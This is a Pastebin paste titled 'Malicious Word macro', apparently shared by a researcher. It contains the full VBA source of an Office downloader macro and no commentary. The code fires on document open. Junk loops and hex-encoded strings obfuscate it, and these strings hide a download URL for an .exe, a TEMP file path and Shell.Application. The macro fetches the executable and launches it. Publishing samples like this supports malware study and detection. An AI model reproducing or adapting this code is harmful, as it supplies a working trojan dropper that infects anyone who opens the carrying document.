dynamoo

Malicious Word macro

Jan 9th, 2015
282
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If VBA7 Then
  10.     Private Declare PtrSafe Function DeleteUrlCacheEntry Lib "wininet" Alias _
  11.         "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long
  12.  
  13.     Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  14.     "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
  15.     ByVal szURL As String, _
  16.     ByVal szFileName As String, _
  17.     ByVal dwReserved As Long, _
  18.     ByVal lpfnCB As LongPtr) As LongPtr
  19. #Else
  20.     Private Declare Function DeleteUrlCacheEntry Lib "wininet" Alias _
  21.         "DeleteUrlCacheEntryA" (ByVal lpszUrlName As String) As Long
  22.  
  23.     Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
  24.     "URLDownloadToFileA" (ByVal pCaller As Long, _
  25.     ByVal szURL As String, _
  26.     ByVal szFileName As String, _
  27.     ByVal dwReserved As Long, _
  28.     ByVal lpfnCB As Long) As Long
  29. #End If
  30. Public Function HexToString(ByVal hextext As String) As String
  31.    
  32. For y = 1 To Len(hextext)
  33.     num = Mid(hextext, y, 2)
  34.     Value = Value & Chr(Val("&h" & num))
  35.     y = y + 1
  36. Next y
  37.  
  38. HexToString = Value
  39. End Function
  40. Sub Gjvksdfsdf()
  41.  
  42. Dim lZQxseyO As Integer
  43. lZQxseyO = 1
  44. Do While lZQxseyO < 38
  45. DoEvents: lZQxseyO = lZQxseyO + 1
  46. Loop
  47.  
  48. UGivgHgfdg
  49. End Sub
  50. Sub AutoOpen()
  51.  
  52. Dim uLSlxfLf As Integer
  53. uLSlxfLf = 8
  54. Do While uLSlxfLf < 74
  55. DoEvents: uLSlxfLf = uLSlxfLf + 1
  56. Loop
  57.  
  58.     Gjvksdfsdf
  59. End Sub
  60. Sub Workbook_Open()
  61.  
  62. Dim pTXYsseR As Integer
  63. pTXYsseR = 6
  64. Do While pTXYsseR < 85
  65. DoEvents: pTXYsseR = pTXYsseR + 1
  66. Loop
  67.  
  68.     Gjvksdfsdf
  69. End Sub
  70. Sub UGivgHgfdg()
  71.  
  72. Dim kRbmYNKP As Integer
  73. kRbmYNKP = 8
  74. Do While kRbmYNKP < 67
  75. DoEvents: kRbmYNKP = kRbmYNKP + 1
  76. Loop
  77.  
  78.     fdgdfg = HexToString("687474703A2F2F5449434B4C4553544F4F54534945532E434F4D2F6A732F62696E2E657865")
  79.  
  80. Dim AEtCJJVU As Integer
  81. AEtCJJVU = 3
  82. Do While AEtCJJVU < 48
  83. DoEvents: AEtCJJVU = AEtCJJVU + 1
  84. Loop
  85.  
  86.     irtwef = Environ(HexToString("54454D50")) & HexToString("5C424742756967627567554947372E657865")
  87.  
  88. Dim VCMGYmnj As Integer
  89. VCMGYmnj = 7
  90. Do While VCMGYmnj < 31
  91. DoEvents: VCMGYmnj = VCMGYmnj + 1
  92. Loop
  93.  
  94.     dsfFfdg = URLDownloadToFile(0&, fdgdfg, irtwef, 0&, 0&)
  95.  
  96. Dim mjIUwCeN As Integer
  97. mjIUwCeN = 1
  98. Do While mjIUwCeN < 13
  99. DoEvents: mjIUwCeN = mjIUwCeN + 1
  100. Loop
  101.  
  102.     Set iergerv = CreateObject(HexToString("5368656C6C2E4170706C69636174696F6E"))
  103. iergerv.Open irtwef
  104. End Sub
RAW Paste Data